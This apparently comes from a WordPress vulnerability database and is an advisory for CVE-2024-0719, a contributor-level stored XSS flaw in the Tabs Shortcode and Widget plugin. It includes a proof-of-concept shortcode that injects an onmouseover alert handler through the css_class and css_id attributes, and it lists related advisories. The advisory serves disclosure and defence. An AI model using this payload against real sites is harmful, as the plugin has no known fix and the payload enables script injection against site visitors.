Tabs Shortcode and Widget <= 1.17 – Contributor+ Stored Cross-Site Scripting | CVE 2024-0719 | Plugin Vulnerabilities

Description

The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks

Proof of Concept

[otw_shortcode_tabslayout tabs="2" title="234" tab_1_title="34" tab_1_icon_url="http://123" tab_1_content="23" tab_2_title="123" tab_2_icon_type="general foundicon-page" tab_2_icon_url="123" tab_2_content="123" css_class='" onmouseover="alert(/XSS/)"' css_id='" onmouseover="alert(/XSS/)"'][/otw_shortcode_tabslayout]

Affects Plugins

tabs-shortcode-and-widget

No known fix

References

CVE

URL

https://research.cleantalk.org/cve-2024-0719/

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Dmitrii Ignatyev

Submitter

Dmitrii Ignatyev

Submitter website

https://research.cleantalk.org

Verified

Yes

WPVDB ID

6e67bf7f-07e6-432b-a8f4-aa69299aecaf

Timeline

Publicly Published

2024-02-20 (about 1 year ago)

Added

2024-02-20 (about 1 year ago)

Last Updated

2024-02-22 (about 1 year ago)

Other

Published

Title

Published

2014-04-25

Title

Snapapp <= 1.5 - Multiple Cross-Site Scripting (XSS)

Published

2024-11-08

Title

Map Store Locator <= 1.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2024-12-30

Title

GeoDirectory < 2.3.85 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2021-04-12

Title

Business Directory Plugin < 5.11.2 - Authenticated Stored Cross-Site Scripting

Published

2025-04-14

Title

Event Espresso – Custom Email Template Shortcode <= 1.0.0 - Reflected Cross-Site Scripting